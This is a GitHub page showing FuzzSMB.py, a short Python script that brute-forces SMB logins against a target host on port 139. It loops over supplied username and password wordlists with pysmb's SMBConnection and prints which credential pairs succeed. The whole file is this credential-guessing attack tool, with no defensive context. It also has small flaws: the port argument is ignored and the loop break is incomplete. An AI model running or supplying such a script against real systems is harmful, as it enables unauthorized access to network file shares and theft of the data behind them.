-
Notifications
You must be signed in to change notification settings - Fork 1
/
FuzzSMB.py
59 lines (49 loc) · 2.07 KB
/
FuzzSMB.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import argparse
from smb.SMBConnection import SMBConnection
def fuzz_smb(user, password, target,share, port,userfile=None, passfile=None):
my_name = "user"
remote_name = "remote user"
print('\nFuzzing SMB with user: {}, password: {}, target: {}, port: {}\n'.format(user, password, target, port))
if passfile and user:
with open(passfile, 'r') as f:
passwords = f.readlines()
for password in passwords:
password = password.strip()
conn = SMBConnection(user, password,my_name,remote_name, use_ntlm_v2=True)
flag = conn.connect(target, 139)
if flag:
print(f'\033[92m [+]\033[0m {user} : ', password)
break
else:
print(f'\033[91m [-]\033[0m {user} : ', password)
elif userfile and password:
with open(userfile, 'r') as f:
users = f.readlines()
for user in users:
user = user.strip()
conn = SMBConnection(user, password,my_name,remote_name, use_ntlm_v2=True)
flag = conn.connect(target, 139)
if flag:
print(f'\033[92m [+]\033[0m {user} : ', password)
break
else:
print(f'\033[91m [-]\033[0m {user} : ', password)
elif userfile and passfile:
with open(userfile, 'r') as f:
users = f.readlines()
with open(passfile, 'r') as f:
passwords = f.readlines()
for user in users:
user = user.strip()
for password in passwords:
password = password.strip()
conn = SMBConnection(user, password,my_name,remote_name, use_ntlm_v2=True)
flag = conn.connect(target, 139)
if flag:
print(f'\033[92m [+]\033[0m {user} : ', password)
break
else:
print(f'\033[91m [-]\033[0m {user} : ', password)
else:
print('\033[91m [-]\033[0m Please provide both username and password files')
exit(1)